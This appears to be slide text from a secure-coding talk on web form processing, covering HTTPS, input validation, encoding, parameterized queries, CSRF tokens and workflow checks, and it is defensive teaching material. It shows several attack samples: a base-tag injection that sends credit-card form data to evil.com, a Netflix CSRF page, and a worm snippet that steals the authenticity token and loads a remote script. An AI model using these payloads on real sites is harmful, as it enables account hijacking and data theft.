Form Processing and Workflows

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Where are we going?

- Securing Form Submissions
- Security Properties of Forms
- Attacks on Forms
- Complex Forms (workflows)
Form Processing Types

There are typically at least four categories of form submission which all require different defensive techniques.

- Login
- Content submission or editing
- Credit card or other financial processing
- Content submission or financial processing as part of a workflow

Developers often miss workflow checks in multi-step form submissions! Developers often miss basic controls!
When a web application renders the initial form and sends it to the user/browser, what security controls and features are needed to render that form securely?

- METHOD = POST
- Fully Qualified URL's
- HTTPS
<form action="payment.php">

  Missing method, defaults to SOMETHING BAD

  Action is relative (base jumping)

  Not necessarily HTTPS

</form>
<form
action="https://site.com/payment.php"
method="POST"
id="payment-form">
**HTTP Request: GET vs POST**

<table>
<thead>
<tr>
<th>GET request</th>
<th>POST request</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>GET</strong> /search.jsp?name=blah&amp;type=1 HTTP/1.0</td>
<td><strong>POST</strong> /search.jsp HTTP/1.0</td>
</tr>
<tr>
<td>User-Agent: Mozilla/4.0</td>
<td>User-Agent: Mozilla/4.0</td>
</tr>
<tr>
<td>Host: <a href="http://www.mywebsite.com">www.mywebsite.com</a></td>
<td>Host: <a href="http://www.mywebsite.com">www.mywebsite.com</a></td>
</tr>
<tr>
<td>Cookie: SESSIONID=2KDSU72H9GSA289</td>
<td>Cookie: SESSIONID=2KDSU72H9GSA289</td>
</tr>
<tr>
<td>&lt;CRLF&gt;</td>
<td>&lt;CRLF&gt;</td>
</tr>
</tbody>
</table>

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<base> jumping

- The <base> tag specifies the base URL/target for all relative URLs in a document.
- There can be at maximum one <base> element in a document, and it *must be inside* the <head> element.

http://www.w3.org/wiki/HTML/Elements/base

*VULNERABLE: Chrome, FireFox and safari.
NOT VULNERABLE: IE8 or IE9.
<base> jumping

- Attack relies on the injection of <base> tags
- A majority of web browsers honour this tag outside the standards-mandated <head> section.
- The attacker injecting this markup would be able to change the semantics of all subsequently appearing relative URLs

```
<base href='http://evil.com/'> ← Injected line in <head>.
<form action='update_profile.php'> ← Legitimate, pre-existing form.
<input type="text" name="creditcard" > ... </form>
```

http://evil.com/update_profile.php

FIX: use absolute paths!!
When a user submits a form to your web application, what security controls and features are needed?

- Authentication check (potential)
- Input Validation (critical)
- Form Error Processing (critical)
- Access Control check (potential)
- Output Encoding (critical)
- Query Parameterization (critical)
- Transaction Token Verification (critical)
Basic Authentication and Session Management

- Check for active session ID
- Consider browser fingerprinting
- Re-authentication at critical boundaries
- Consider frequent session ID rotation
- You are using HTTPS for all of this, right?

For login
  - Start HTTPS before delivering login form
  - Good password storage and verification for login
  - Invalidate current session, create new one
  - Cookies: HTTPOnly, Secure flag, proper path/domain
Form Processing

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Malicious user input can be used to launch a variety of attacks against an application. These attacks include, but are not limited to:

<table>
<thead>
<tr>
<th>Parameter Manipulation</th>
<th>Intercepting Proxy Use</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Immutable field manipulation</td>
</tr>
<tr>
<td>Content injection</td>
<td>SQL Injection</td>
</tr>
<tr>
<td></td>
<td>Response Splitting</td>
</tr>
<tr>
<td></td>
<td>Command Injection</td>
</tr>
<tr>
<td></td>
<td>XPath injection</td>
</tr>
<tr>
<td></td>
<td>File path traversal</td>
</tr>
<tr>
<td>Cross site scripting</td>
<td>Multiple attack types</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>Attacks on Access Control</td>
</tr>
<tr>
<td>Transactions</td>
<td>CSRF</td>
</tr>
</tbody>
</table>
Escaping vs. Rejecting

When validating data, one can either reject data failing to meet validation requirements or attempt to “clean” or escape dangerous characters.

**Failed validation attempts should always reject the data** to minimize the risk that sanitization routines will be ineffective or can be bypassed.

Error messages displayed when rejecting data should specify the proper format to help the user to enter appropriate data.

Error messages should not reflect the input the user has entered, but form elements may be filled with previous input for usability. Careful!
Whitelist validation, of course!

Verifying immutable fields and proper client-side validation techniques can provide intrusion detection.

Validating numeric input can make that input “safe”.

Verifying open text often does NOT make that input safe.
Validation gets weaker over time...

- Comment to a news article
- First pass, US English
  - **ArticleID** INT only
  - **Title** A-Za-z0-9
  - **Comment** Letters, Numbers, Punctuation

- Oh shoot, we now need to support internationalization!
  - **ArticleID** LONG only
  - **Title** {P}
  - **Comment** {P}
<form action="https://site.com/country.php" method="POST">

<select name="country-code">
    <option value="ug">Uruguay</option>
    <option value="us">USA</option>
    <option value="eg">England</option>
</select>

<button type="submit">Submit Country</button>

</form>
App Layer Intrusion Detection

- Great detection points to start with
  - Input validation failure server side when client side validation exists
  - Input validation failure server side on non-user editable parameters such as hidden fields, checkboxes, radio buttons or select lists
  - Forced browsing to common attack entry points (e.g. /admin) or honeypot URL (e.g. a fake path listed in /robots.txt)
App Layer Intrusion Detection

- Others
  - Blatant SQLi or XSS injection attacks
  - Workflow sequence abuse (e.g. multi-part form in wrong order)
  - Custom business logic (e.g. basket vs catalogue price mismatch)
Form Processing

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Data Contextual Access Control

The Problem

Web Application needs to secure access to a specific object

The Solution

```java
int articleId = request.getInt("article_id");

if ( currentUser.isPermitted( "article:comment:" + articleId ) ) {
  log.info("You are permitted to comment on this article. Happy trollolololing!");
} else {
  log.info("Sorry, you aren't allowed to comment on this article!");
}
```
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HTML Attribute Escaping Examples

**OWASP Java Encoder**

```
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute('UNTRUSTED') %>">

<input type="text" name="data"
value="<%= Encode.forHtmlUnquotedAttribute('UNTRUSTED') %>">
```
OWASP Java Encoder

<%-- Encode URL parameter values --%>
<a href="/search?value=
<%=Encode.forUriComponent(parameterValue)%>&order=1#top">

<%-- Encode REST URL parameters --%>
<a href="http://www.codemagi.com/page/
<%=Encode.forUriComponent(restUrlParameter)%>"
Escaping when managing complete URL’s

Assuming the untrusted URL has been properly validated....

**OWASP Java Encoder**

```html
<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
  Encode.forHtmlContext(untrustedURL)
</a>
```
JavaScript Escaping Examples

OWASP Java Encoder

<button onclick="alert('<%= Encode.forJavaScript(alertMsg) %>'");">click me</button>

<button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>'");">click me</button>

<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>";
alert(msg);
</script>
XSS in CSS String Context Examples

**OWASP Java Encoder**

```
<div style="background: url('<%=Encode.forCssUrl(value)%>');">

<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>
```
Other Encoding Libraries

- Ruby on Rails
  - [http://api.rubyonrails.org/classes/ERB/Util.html](http://api.rubyonrails.org/classes/ERB/Util.html)

- Reform Project
  - Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP

- ESAPI
  - PHP.NET, Python, Classic ASP, Cold Fusion

- .NET AntiXSS Library
  - [http://wpl.codeplex.com/releases/view/80289](http://wpl.codeplex.com/releases/view/80289)
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Parameterized Queries ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker.

Language Specific Recommendations

- Java EE – use PreparedStatement() with bind variables
- .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
- PHP – use PDO with strongly typed parameterized queries (using bindParam())
- Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
Dynamic SQL: (Injectable)
String sqlQuery = "UPDATE EMPLOYEES SET SALARY = ' + 
    request.getParameter("newSalary") + ' WHERE ID = ' + 
    request.getParameter("id") + '\"';

PreparedStatement: (Not Injectable)
double newSalary = request.getParameter("newSalary") ;
int id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
    SET SALARY = ? WHERE ID = ?");
pstmt.setDouble(1, newSalary);
pstmt.setInt(2, id);
.NET Parameterized Query

Dynamic SQL: (Not so Good)

string sql = "SELECT * FROM User WHERE Name = \\
" + NameTextBox.Text + \\
" AND Password = \\
" + PasswordTextBox.Text + \\
"; \\

Parameterized Query: (Nice, Nice!)

SqlConnection objConnection = new SqlConnection(_ConnectionString); 
objConnection.Open(); 
SqlCommand objCommand = new SqlCommand( 
"SELECT * FROM User WHERE Name = @Name AND Password = \\
@Password", objConnection); 
objCommand.Parameters.Add("@Name", NameTextBox.Text); 
objCommand.Parameters.Add("@Password", PasswordTextBox.Text); 
SqlDataReader objReader = objCommand.ExecuteReader(); 
if (objReader.Read()) { ...}
HQL Injection Protection

Unsafe HQL Statement Query (Hibernate)

```java
unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+'"'");
```

Safe version of the same query using named parameters

```java
Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);
```
SQL Injection Protection for ASP.NET and Ruby

**ASP.NET**

```csharp
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.AddWithValue("@CustomerId", System.Data.SqlDbType.Int);
command.Parameters["@CustomerId"].Value = 1;
```

**RUBY – Active Record**

```
# Create
Project.create!(:name => 'owasp')

# Read
Project.all(:conditions => "name = ?", name)
Project.all(:conditions => { :name => name })
Project.where("name = :name", :name => name)

# Update
project.update_attributes(:name => 'owasp')

# Delete
Project.delete(:name => 'name')
```

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Cold Fusion and Perl Parameterized Queries

**Cold Fusion**

```cfml
<cfquery name = "getFirst" dataSource = "cfsnippets">
    SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID = 
    <cfqueryparam value = #intCourseID# CFSQLType = "CF_SQL_INTEGER">
</cfquery>
```

**Perl - DBI**

```perl
my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
```
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Real World CSRF – Netflix (2008)

```html
<html>
<head>
<script language="JavaScript" type="text/javascript">
function load_image2()
{
    var img2 = new Image();
    img2.src="http://www.netflix.com/MoveToTop?movieid=70110672&fromq=true";
}
</script>
</head>
<body>
<img src="http://www.netflix.com/JSON/AddToQueue?movieid=70110672" width="1" height="1" border="0">
<script>setTimeout( 'load_image2()', 2000 );</script>
</body>
</html>
```
var content = document.documentElement.innerHTML;
authreg = new RegExp(/twtr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content); authtoken = authtoken[1];
//alert(authtoken);

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn();ajaxConn.connect("/status/update","POST",
"authenticity_token=" + authtoken+"&status=" + updateEncode + 
"&tab=home&update=update");

var ajaxConn1 = new XHConn();

ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+ authtoken+"&user[url]="+xss 
+"&tab=home&update=update");

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Recent CSRF Attacks (2012)

---

```html
<!-- HTML code snippet -->
```

```
root@linux:~ # telnet 192.168.1.1
ADSL Router Model CT-5367 Sw.Ver. C01_R12
Login: root
Password:
## BINGO !! Godlike =))
```
CSRF within the Internal Network

- CSRF allows external attackers to launch attacks against internal applications!

- External web sites can trick your browser into making requests on the internal network

- Even easier against single-sign on
  - Effectively you are always logged into internal applications

- Recommended NOT to browse the web with the same browser used for internal applications

- All internal applications must be protected against CSRF
Synchronizer Token Pattern

"Hidden" token in HTML

| Value defined by server when page is rendered. Value is stored in session. Consider leveraging the java.security.SecureRandom class for Java applications. |
| Upon Submit, token is sent with form. |
| Token value must match with value in session. |
| Attacker would not have token value. (XSS attack could get token is page was vulnerable to XSS) |

<form action="http://germanbeerisawesome.com/transfer.do" method="post">
<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjjiMGI4MjJjZDE1ZDZjMTVi MGYwMGEwOA=="/>
</form>
X-Frame-Options HTTP Response Headers

prevents any domain from framing the content "X-FRAME-OPTIONS", "DENY"

only allows the current site to frame the content "X-FRAME-OPTIONS", "SAMEORIGIN"

permits the specified 'sitename' X to frame this page (circa 2012) and may not be supported by all browsers yet "X-FRAME-OPTIONS", "ALLOW-FROM X"

- Must be added to HTTP response!
- X-Frame-Option HTTP request headers do nothing!
crypto?
Google KeyCzar
https://code.google.com/p/keyczar/

- A simple applied crypto API
- Key rotation and versioning
- Safe default algorithms, modes, and key lengths
- Automated generation of initialization vectors and ciphertext signatures
- Java implementation
- Supports Python, C++ and Java
<form> workflows...
# Basic eCommerce

<table>
<thead>
<tr>
<th>Step</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add Item to Cart</td>
<td><a href="https://site.com/view_cart.php">https://site.com/view_cart.php</a></td>
</tr>
<tr>
<td>Submit Shipping Address</td>
<td><a href="https://site.com/shipping_addy.php">https://site.com/shipping_addy.php</a></td>
</tr>
<tr>
<td>Submit Billing Address</td>
<td><a href="https://site.com/billing_addy.php">https://site.com/billing_addy.php</a></td>
</tr>
<tr>
<td>Pay for Order</td>
<td><a href="https://site.com/payme.php">https://site.com/payme.php</a></td>
</tr>
<tr>
<td>SHIP IT!</td>
<td><a href="https://site.com/shipit.php">https://site.com/shipit.php</a></td>
</tr>
</tbody>
</table>

Which step would you like to skip?
Hand Coded Workflow

- Reset the workflow at the first step
- Track current step in session
- Verify legal/proper step in sequence at each step
- Reset the workflow when one is complete or an illegal step is taken
THANK YOU!

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